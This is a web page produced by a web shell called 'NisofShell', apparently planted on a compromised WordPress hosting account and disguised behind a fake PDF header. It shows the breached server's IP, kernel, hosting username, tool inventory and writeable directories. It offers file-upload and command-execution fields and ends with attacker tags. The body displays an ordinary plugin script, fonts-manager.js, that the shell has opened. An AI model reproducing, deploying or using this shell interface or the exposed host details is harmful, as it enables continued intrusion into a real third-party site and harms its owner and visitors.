%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Nisof Was Here
NisofShell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.162
Web Server : Apache
System : Linux webm002.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : wellingtpa ( 97533)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/w/e/l/wellingtpa/www/wp-content/plugins/kata-plus/assets/src/js/backend/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/w/e/l/wellingtpa/www/wp-content/plugins/kata-plus/assets/src/js/backend/fonts-manager.js
/**
 * FontsManager.
 *
 * @author  ClimaxThemes
 * @package	Kata Plus Pro
 * @since	1.0.0
 */
'use strict';

jQuery(document).ready(function ($) {
    var $css_selector_row = '';
    var $t_s_counter = 0;
    var $variants_options = '';

    if ($('#kata_plus_pro_fonts_manager_custom_font_id_box').length) {
        $('#kata_plus_pro_fonts_manager_custom_font_id_box').on('input', function () {
            $.ajax({
                type: "post",
                url: ajaxurl,
                data: {
                    "action": "kata_plus_pro_get_font_data_by_custom_font_id",
                    "url": $(this).val()
                },
                success: function (response) {
                    if (response.length) {
                        $('#font_preview_wrap').html(response);
                        setTimeout(function () {
                            $('#font_preview_wrap iframe').each(function () {
                                $(this).contents().find('.copy-styles').on('click', function () {
                                    var VInput = $('<textarea style="position:fixed;opacity:0;top:-100;"></textarea>');
                                    VInput.text($(this).data('copy'));
                                    $('body').append(VInput);
                                    VInput[0].select();
                                    document.execCommand("copy");
                                    VInput.remove();
                                })
                            });
                        }, 2000);
                    }
                }
            });
        })
    }

    if ($('#kata_plus_pro_fonts_manager_typekit_id_box').length) {
        $('#kata_plus_pro_fonts_manager_typekit_id_box').on('input', function () {
            $.ajax({
                type: "post",
                url: ajaxurl,
                data: {
                    "action": "kata_plus_pro_get_font_data_by_typekit_id",
                    "typekit-id": $(this).val()
                },
                success: function (response) {
                    if (response.length) {
                        $('#font_preview_wrap').html(response);
                        setTimeout(function () {
                            $('#font_preview_wrap iframe').each(function () {
                                $(this).contents().find('.copy-styles').on('click', function () {
                                    var VInput = $('<textarea style="position:fixed;opacity:0;top:-100;"></textarea>');
                                    VInput.text($(this).data('copy'));
                                    $('body').append(VInput);
                                    VInput[0].select();
                                    document.execCommand("copy");
                                    VInput.remove();
                                })
                            });
                        }, 2000);
                    }
                }
            });
        })
    }

    if ($('#kata_plus_pro_change_fonts_view_type > span[data-id]').length) {
        $('#kata_plus_pro_change_fonts_view_type > span[data-id]').on('click', function () {
            var a = $('#kata_plus_pro_change_fonts_view_type > span.active');
            a.removeClass('active');
            $(this).addClass('active');
            $('#kata-plus-fonts-manager-add-font-table').removeClass(a.data('id'));
            $('#kata-plus-fonts-manager-add-font-table').addClass($(this).data('id'));
        })
    }

    if ($('#kata_plus_pro_alphabet_filter_select').length) {
        var list_page = 1;
        $('#kata_plus_pro_alphabet_filter_select').on('input', function () {
            var search = $(this).val().trim().toLowerCase();
            var fontsHtml = '';
            if (search.length == 0) {
                $('.search-result').fadeOut();
                $('.search-result').html('')
                $('.search-results-count').html('');
                if ($('#kata-plus-fonts-manager-add-font-table .font-results').css('display') == 'none') {
                    $('#kata-plus-fonts-manager-add-font-table .font-results').fadeIn(1000);
                }
                return false;
            }
            if (search != $(this).data('search')) {
                $('.search-result').html('');
                $(this).data('search', search);
            }
            var counter = 0,
                count = 0;
            $.each(kataGoogleFontsList, function (index, font) {
                var fontfamily = font.family.toLowerCase();
                if (fontfamily.indexOf(search) === 0) {
                    counter++;
                    if (counter <= 10 * list_page && counter > list_page * 10 - 10) {
                        count++;
                        var cloned = $('#fonts_box_html').clone();
                        cloned.find('.font-name-category b').html(font.family);
                        cloned.find('.font-name-category strong').html(font.category);
                        cloned.find('input[name="fontname"]').val(font.family);
                        cloned.find('.font-box-footer').before('<div class="kata-show-font-preview" data-src="' + cloned.find('.font-box').data('src') + font.family + '"></div>');
                        cloned.find('.font-styles-count').html(font.variants.length + ' Styles');
                        fontsHtml += cloned.html();
                        cloned.remove();
                    }
                }
            });

            var prevList = '',
                nextList = '';
            if (list_page > 1) {
                prevList = '<span class="prev-list filter hidden"></span>';
            }

            if (count + list_page * 10 - 10 !== counter) {
                nextList = '<span class="next-list filter hidden"></span>';
            }

            $('.search-results-count').html('Filter Results: ' + (count + list_page * 10 - 10) + ' of ' + counter + prevList + nextList);
            $('.search-result').append(fontsHtml);
            $('.search-result').fadeIn();

            if ($('#kata-plus-fonts-manager-add-font-table .font-results').css('display') != 'none') {
                $('#kata-plus-fonts-manager-add-font-table .font-results').fadeOut();
            }

        });
        $(document).on('click', '.next-list', function () {
            list_page++;
            $('#kata_plus_pro_alphabet_filter_select').trigger('input');
        });
        $(document).on('click', '.prev-list', function () {
            list_page--;
            $('#kata_plus_pro_alphabet_filter_select').trigger('input');
        });
    }

    if ($('#kata_plus_pro_fonts_manager_search_box').length) {
        var search_list_page = 1;
        $('#kata_plus_pro_fonts_manager_search_box').on('input', function () {
            var search = $(this).val().trim().toLowerCase();
            var fontsHtml = '';
            if (search.length == 0) {
                $('.search-result').fadeOut();
                $('.search-result').html('')
                $('.search-results-count').html('');
                if ($('#kata-plus-fonts-manager-add-font-table .font-results').css('display') == 'none') {
                    $('#kata-plus-fonts-manager-add-font-table .font-results').fadeIn(1000);
                }
                return false;
            }
            if (search != $(this).data('search')) {
                $('.search-result').html('');
                $(this).data('search', search);
            }

            var counter = 0,
                count = 0;
            $.each(kataGoogleFontsList, function (index, font) {
                var fontfamily = font.family.toLowerCase();
                var searchOk = false;
                $.each(font.variants, function (index, v) {
                    var variant = v.toLowerCase();
                    if (variant.indexOf(search) !== -1) {
                        searchOk = true;
                    }
                });
                $.each(font.subsets, function (index, s) {
                    var subset = s.toLowerCase();
                    if (subset.indexOf(search) !== -1) {
                        searchOk = true;
                    }
                });

                if (fontfamily.indexOf(search) !== -1 || searchOk === true) {
                    counter++;
                    if (counter <= 10 * search_list_page && counter > search_list_page * 10 - 10) {
                        count++;
                        var cloned = $('#fonts_box_html').clone();
                        cloned.find('.font-name-category b').html(font.family);
                        cloned.find('.font-name-category strong').html(font.category);
                        cloned.find('input[name="fontname"]').val(font.family);
                        cloned.find('.font-box-footer').before('<div class="kata-show-font-preview" data-src="' + cloned.find('.font-box').data('src') + font.family + '"></div>');
                        cloned.find('.font-styles-count').html(font.variants.length + ' Styles');
                        fontsHtml += cloned.html();
                        cloned.remove();
                    }
                }
            });

            var prevList = '',
                nextList = '';
            if (search_list_page > 1) {
                prevList = '<span class="prev-list search hidden"></span>';
            }

            if (count + search_list_page * 10 - 10 !== counter) {
                nextList = '<span class="next-list search hidden"></span>';
            }

            $('.search-results-count').html('Search Results: ' + (count + search_list_page * 10 - 10) + ' of ' + counter + prevList + nextList);
            $('.search-result').append(fontsHtml);
            $('.search-result').fadeIn();

            if ($('#kata-plus-fonts-manager-add-font-table .font-results').css('display') != 'none') {
                $('#kata-plus-fonts-manager-add-font-table .font-results').fadeOut();
            }

        });

        $(document).on('click', '.next-list.search', function () {
            search_list_page++;
            $('#kata_plus_pro_fonts_manager_search_box').trigger('input');
        });
        $(document).on('click', '.prev-list.search', function () {
            search_list_page--;
            $('#kata_plus_pro_fonts_manager_search_box').trigger('input');
        });
    }

    $(document).ready(function () {
        if ($('.fonts-manager-sticky').length) {
            if ($(window).scrollTop() < 300) {
                $('.fonts-manager-sticky').css({
                    'position': 'relative',
                    'top': 'auto',
                })
            }
            $(window).scroll(function (event) {
                $('.fonts-manager-sticky').getNiceScroll().resize();
                if ($(window).scrollTop() < 300) {
                    $('.fonts-manager-sticky').css({
                        'position': 'relative',
                        'top': 'auto',
                    })
                } else {
                    $('.fonts-manager-sticky').css({
                        'position': 'fixed',
                        'top': '60px'
                    })
                }
            });
        }
        if ($('.kata-plus-page.next').length) {
            var u = false,
                pg_list_page = 1;
            $(window).scroll(function (event) {
                if (!$('.kata-plus-page.next').length) {
                    return;
                }

                var scrollTop = $(this).scrollTop(),
                    offset = $('.kata-container').offset(),
                    top = offset.top;
                var bottom = $('.kata-container').height();
                bottom = top + bottom - $(window).height();
                if (scrollTop > bottom) {
                    if (u != true) {
                        jQuery('.kata-plus-fonts-manager-loading').css('display', 'block');
                        u = true;
                        pg_list_page++;
                        // $('.kata-plus-page.next').remove();
                        setTimeout(function () {

                            var fontsHtml = '<div class="kata-plus-fonts-manager-inner-page" data-page="' + pg_list_page + '">';

                            var counter = 0;
                            $.each(kataGoogleFontsList, function (index, font) {
                                counter++;
                                if (counter <= 10 * pg_list_page && counter > pg_list_page * 10 - 10) {
                                    var cloned = $('#fonts_box_html').clone();
                                    cloned.find('.font-name-category b').html(font.family);
                                    cloned.find('.font-name-category strong').html(font.category);
                                    cloned.find('input[name="fontname"]').val(font.family);
                                    cloned.find('.font-box-footer').before('<div class="kata-show-font-preview" data-src="' + cloned.find('.font-box').data('src') + font.family + '"></div>');
                                    cloned.find('.font-styles-count').html(font.variants.length + ' Styles');
                                    fontsHtml += cloned.html();
                                    cloned.remove();
                                } else if (counter > pg_list_page * 10 - 10) {
                                    return;
                                }
                            });

                            $('.fonts-pagination-result').append(fontsHtml + '<div class="clear"></div></div>');
                            jQuery('.kata-plus-fonts-manager-loading').css('display', 'none');
                            u = false;
                        }, 500);
                    }

                }
            });
        }
        if ($('.search-result').length) {
            var searchDelay = false;
            $(window).scroll(function (event) {
                if (!$('.next-list.search').length && !$('.next-list.filter').length) {
                    return;
                }
                var scrollTop = $(this).scrollTop(),
                    offset = $('.kata-container').offset(),
                    top = offset.top;
                var bottom = $('.kata-container').height();
                bottom = top + bottom - $(window).height();
                if (scrollTop > bottom) {
                    if (searchDelay != true) {
                        searchDelay = true;
                        jQuery('.kata-plus-fonts-manager-loading').css('display', 'block');
                        setTimeout(function () {
                            if ($('.next-list.search').length) {
                                $('.next-list.search').trigger('click');
                            }

                            if ($('.next-list.filter').length) {
                                $('.next-list.filter').trigger('click');
                            }

                            jQuery('.kata-plus-fonts-manager-loading').css('display', 'none');
                            searchDelay = false;
                        }, 500);
                    }

                }
            });
        }
    });

    $(document).on('click', '.font-pack.has-iframe .remove', function () {
        var c = confirm('Are you sure?');
        if (c) {
            $(this).parent().remove();
        }
        return;
    })
    $(document).on('click', '.kata-show-font-preview', function () {
        if (typeof ($(this).data('src')) != 'undefined') {
            var $this = $(this),
                $wrap = $this.parent('.font-box'),
                $input = $wrap.closest('.kata-plus-fonts-manager-wrap').find('.kata-plus-preview-text-box');
            $this.after('<iframe src="' + $this.data('src') + '"></iframe>');
            $this.remove();
            $wrap.append('<div class="preloader-parent"><div class="lds-ripple kata-plus-fonts-manager-loading"> <div></div> <div></div> </div></div>');

            $.ajax({
                action: 'kata_plus_pro_fonts_manager_font_preview',
                complete: function () {
                    console.log($wrap.find('.preloader-parent'));
                    $('#kata-plus-fonts-manager-add-font-table iframe').each(function () {
                        if ($input.val() == '') {
                            $(this).contents().find('.font-preview-text').html($input.attr('placeholder'));
                        } else {
                            $(this).contents().find('.font-preview-text').html($input.val());
                        }
                    });
                    $wrap.find('.preloader-parent').remove();
                }
            });
        }
    });

    if ($('#kata_plus_pro_fonts_manager_google_categories').length) {
        $('#kata_plus_pro_fonts_manager_google_categories li.kata-plus-google-categories-go').on('click', function () {
            var categories = [];
            $('#kata_plus_pro_fonts_manager_google_categories input[type="checkbox"]').each(function () {
                if ($(this).is(':checked')) {
                    categories.push($(this).val());
                }
            });
            window.location.href = $(this).data('url') + '&cat=' + categories.join(',');
        });

        $(document).click(function (e) {
            if (e.target.id != 'kata_plus_pro_fonts_manager_google_categories' && $(e.target).parents('#kata_plus_pro_fonts_manager_google_categories').length == 0) {
                $('#kata_plus_pro_fonts_manager_google_categories').find('ul').removeClass('show');
                $('#kata_plus_pro_fonts_manager_google_categories').find('strong').removeClass('active');
            }
        });

        $('#kata_plus_pro_fonts_manager_google_categories strong').on('click', function () {
            var $categoriesWrap = $('#kata_plus_pro_fonts_manager_google_categories');
            if ($(this).hasClass('active')) {
                $(this).removeClass('active');
                $categoriesWrap.find('ul').removeClass('show');

            } else {
                $(this).addClass('active');
                $categoriesWrap.find('ul').addClass('show');
            }
        });

    }

    if ($('.kata-plus-preview-font-size-wrap input[type="range"]').length) {
        $('.kata-plus-preview-font-size-wrap input[type="range"]').on('input', function () {
            var $val = $(this).val();
            $('#kata-plus-fonts-manager-add-font-table iframe').each(function () {
                $(this).contents().find('.font-preview-text').css('font-size', $val + 'px');
                $('#kata_plus_pro_fonts_manager_preview_text_font_size').html($val + 'px');
                $(this).height($(this).contents().find("html").height());
            });
        })

        $('.kata-plus-preview-font-size-wrap input[type="range"]').on('change', function () {
            var $val = $(this).val();
            $.ajax({
                type: "post",
                url: ajaxurl,
                data: {
                    action: 'fonts-manager-change-font-preview-font-size',
                    fontSize: $val
                },
            });
        })
    }

    if ($('#kata_plus_pro_fonts_manager_preview_text').length) {
        $('#kata_plus_pro_fonts_manager_preview_text').on('input', function () {

            var $val = $(this).val(),
                $placeholder = $(this).attr('placeholder');
            $('#kata-plus-fonts-manager-add-font-table iframe').each(function () {
                if( $val ) {
                    $(this).contents().find('.font-preview-text').html($val);
                } else {
                    $(this).contents().find('.font-preview-text').html($placeholder);
                }
            });
        })
    }

    if ($('.kata-plus-fonts-manager-wrap #exportFonts').length) {
        $(document).on('click', '.kata-plus-fonts-manager-wrap #exportFonts', function () {
            $(this).parents('form').first().trigger('submit');
        })
    }

    if ($('.kata-plus-fonts-manager-wrap #importFonts').length) {
        $(document).on('click', '.kata-plus-fonts-manager-wrap #importFonts', function () {
            $(this).parents('form').first().trigger('submit');
        })
    }

    if ($('.kata-plus-fonts-manager-wrap #generate_preview').length) {
        $('.kata-plus-fonts-manager-wrap #generate_preview').on('click', function () {
            var css_font = $('#font_css_url').val();

            if (!css_font) {
                $('#font_css_url').focus();
                return false;
            }

            if ($(this).data('source') == 'typekit' || $(this).data('source') == 'custom-font') {
                var font_name = '';
                $("input[name='font_family[]']").map(function () {
                    if ($(this).val()) {
                        font_name = font_name + $(this).val() + ",";
                    }
                }).get();

                font_name = font_name.slice(0, -1);
                var iframeUrl = ajaxurl + '?action=kata_plus_pro_fonts_manager_font_preview&font-family=' + font_name + '&source=' + $(this).data('source') + '&url=' + css_font;
                var iframe = $('<iframe src="' + iframeUrl + '"></iframe>');
                iframe.on('load', function () {
                    this.style.height = this.contentWindow.document.body.offsetHeight + 'px';
                });
                $('#live_preview_content').html(iframe);
            }
        });
    }

    if ($('.kata-plus-fonts-manager-wrap #add_another_font_family').length) {
        $('.kata-plus-fonts-manager-wrap #add_another_font_family').on('click', function () {
            var content = '<div class="kata-plus-fonts-manager-font-family-group">';
            content += '<div class="col col-9">';
            content += '<input type="text" name="font_family[]" class="kata-plus-fonts-manager-add-new-font-selector-input full">';
            content += '</div>';
            content += '<div class="col col-1">';
            content += '<div class="remove-selector" onclick=$(this).parent().parent().remove();><span class="dashicons dashicons-no-alt"></span></div>';
            content += '</div>';
            content += '</div>';
            $('.kata-plus-fonts-manager-wrap #font_family_container').append(content);
        });
    }

    if ($('input:radio[name="fontname"]').length) {
        $(document).on('change', 'input:radio[name="fontname"]', function () {
            if ($(this).is(':checked')) {
                $('.kata-plus-fonts-manager-font-family .name').html($(this).val());
                $('.font-box').each(function () {
                    $(this).removeClass('active');
                })
                $(this).parents('.font-box').addClass('active');

                $('.fonts-manager-sticky').append('<div class="preloader-parent"><div class="lds-ripple kata-plus-fonts-manager-loading"> <div></div> <div></div> </div></div>');
                $('.fonts-manager-sticky').css('opacity', '0.5');
                var getFontDataUrl = ajaxurl + '?action=kata_plus_pro_fonts_manager_get_font_data&font-family=' + $(this).val() + '&source=' + $(this).data('source');
                $.ajax({
                    type: "get",
                    url: getFontDataUrl,
                    dataType: 'json',
                    success: function (response) {
                        $("#fonts_manager_font_variants").html(response.variants);

                        if (typeof response.subsets != undefined) {
                            $("#fonts_manager_font_subsets").html(response.subsets);
                        }

                        if (typeof response.preview != undefined) {
                            $("#live_preview_content").html(response.preview);
                        }

                        $variants_options = response.variants_options;
                        $(".kata-plus-fonts-manager-add-new-font-selector-select-variant").each(function () {
                            $(this).html(response.variants_options);
                        });
                        $('.fonts-manager-sticky').getNiceScroll().resize();
                        $('.fonts-manager-sticky').find('.preloader-parent').remove();
                        $('.fonts-manager-sticky').css('opacity', '1');                        
                    }
                });
            }
        });
    }

    if ($('.kata-plus-fonts-manager-css-selector-row-hidden').length) {
        $css_selector_row = $('.kata-plus-fonts-manager-css-selector-row-hidden').html();
        var b = $css_selector_row.replace(/\[_SELECTOR_ID_]/g, '[offset_' + $t_s_counter + ']');
        $('.kata-plus-fonts-manager-css-selector-row-hidden').html(b.replace(/\_SELECTOR_ID_/g, $t_s_counter))
        $('.kata-plus-fonts-manager-wrap #add-new-section').on('click', function () {
            if ($variants_options == '') {
                $('#fonts_manager_font_variants input:checkbox').each(function () {
                    $variants_options += '<option value="' + $(this).val() + '">' + $(this).val() + '</option>';
                })
            }
            $t_s_counter++;
            console.log('Added Selector : ' + $t_s_counter);
            var $css_selector_row_cloned = $('<div class="row css-selector-row">' + $css_selector_row + '</div>');
            $css_selector_row_cloned.find('.kata-plus-fonts-manager-add-new-font-selector-select-variant').html($variants_options);
            var d = $css_selector_row_cloned.html().replace(/\[_SELECTOR_ID_]/g, '[offset_' + $t_s_counter + ']');

            $('.css-selector-wrap').append('<div class="row css-selector-row">' + d.replace(/\_SELECTOR_ID_/g, $t_s_counter) + '</div>');
        });
    }

    $('.postbox-container').find('.postbox').find('.handlediv').on('click', function () {
        var $this = $(this),
            $wrap = $this.closest('.postbox'),
            $inside = $wrap.find('.inside')
        $inside.slideToggle(400);
        $this.toggleClass('closed');
    });
});

jQuery.fn.exists = function () {
    return jQuery(this).length > 0;
}
jQuery(document).ready(function ($) {

    if ($(".plupload-upload-uic").exists()) {
        var pconfig = false;
        $(".plupload-upload-uic").each(function () {
            var $this = $(this);
            var id1 = $this.attr("id");
            var imgId = id1.replace("plupload-upload-ui", "");

            plu_show_thumbs(imgId);

            pconfig = JSON.parse(JSON.stringify(base_plupload_config));

            pconfig["browse_button"] = imgId + pconfig["browse_button"];
            pconfig["container"] = imgId + pconfig["container"];
            pconfig["drop_element"] = imgId + pconfig["drop_element"];
            pconfig["file_data_name"] = imgId + pconfig["file_data_name"];
            pconfig["multipart_params"]["imgid"] = imgId;
            pconfig["multipart_params"]["_ajax_nonce"] = $this.find(".ajaxnonceplu").attr("id").replace("ajaxnonceplu", "");

            if ($this.hasClass("plupload-upload-uic-multiple")) {
                pconfig["multi_selection"] = true;
            }

            if ($this.find(".plupload-resize").exists()) {
                var w = parseInt($this.find(".plupload-width").attr("id").replace("plupload-width", ""));
                var h = parseInt($this.find(".plupload-height").attr("id").replace("plupload-height", ""));
                pconfig["resize"] = {
                    width: w,
                    height: h,
                    quality: 90
                };
            }
            console.log(pconfig);

            var uploader = new plupload.Uploader(pconfig);
            console.log(uploader);

            uploader.bind('Init', function (up) {
                console.log(up);

            });

            uploader.init();

            // a file was added in the queue
            uploader.bind('FilesAdded', function (up, files) {
                $.each(files, function (i, file) {
                    $this.find('.filelist').append('<div class="file" id="' + file.id + '"><b>' +

                        file.name + '</b> (<span>' + plupload.formatSize(0) + '</span>/' + plupload.formatSize(file.size) + ') ' + '<div class="fileprogress"></div></div>');
                });

                up.refresh();
                up.start();
            });

            uploader.bind('UploadProgress', function (up, file) {

                $('#' + file.id + " .fileprogress").width(file.percent + "%");
                $('#' + file.id + " span").html(plupload.formatSize(parseInt(file.size * file.percent / 100)));
            });

            // a file was uploaded
            uploader.bind('FileUploaded', function (up, file, response) {


                $('#' + file.id).fadeOut();
                response = response["response"]
                // add url to the hidden field
                if ($this.hasClass("plupload-upload-uic-multiple")) {
                    // multiple
                    var v1 = $.trim($("#" + imgId).val());
                    if (v1) {
                        v1 = v1 + "," + response;
                    } else {
                        v1 = response;
                    }
                    $("#" + imgId).val(v1);
                } else {
                    // single
                    $("#" + imgId).val(response + "");
                }
                // show thumbs
                plu_show_thumbs(imgId);
            });
        });
    }
});

function plu_show_thumbs(imgId) {
    var $ = jQuery;
    var thumbsC = $("#" + imgId + "plupload-thumbs");
    thumbsC.html("");
    // get urls
    var imagesS = $("#" + imgId).val();
    var images = imagesS.split(",");
    for (var i = 0; i < images.length; i++) {
        if (images[i]) {
            var thumb = $('<div class="thumb" id="thumb' + imgId + i + '"><img src="' + images[i] + '" alt="" /><div class="thumbi"><a id="thumbremovelink' + imgId + i + '" href="#">Remove</a></div> <div class="clear"></div></div>');
            thumbsC.append(thumb);
            thumb.find("a").click(function () {
                var ki = $(this).attr("id").replace("thumbremovelink" + imgId, "");
                ki = parseInt(ki);
                var kimages = [];
                imagesS = $("#" + imgId).val();
                images = imagesS.split(",");
                for (var j = 0; j < images.length; j++) {
                    if (j != ki) {
                        kimages[kimages.length] = images[j];
                    }
                }
                $("#" + imgId).val(kimages.join());
                plu_show_thumbs(imgId);
                return false;
            });
        }
    }
    if (images.length > 1) {
        thumbsC.sortable({
            update: function (event, ui) {
                var kimages = [];
                thumbsC.find("img").each(function () {
                    kimages[kimages.length] = $(this).attr("src");
                    $("#" + imgId).val(kimages.join());
                    plu_show_thumbs(imgId);
                });
            }
        });
        thumbsC.disableSelection();
    }
}

Anon7 - 2022
AnonSec Team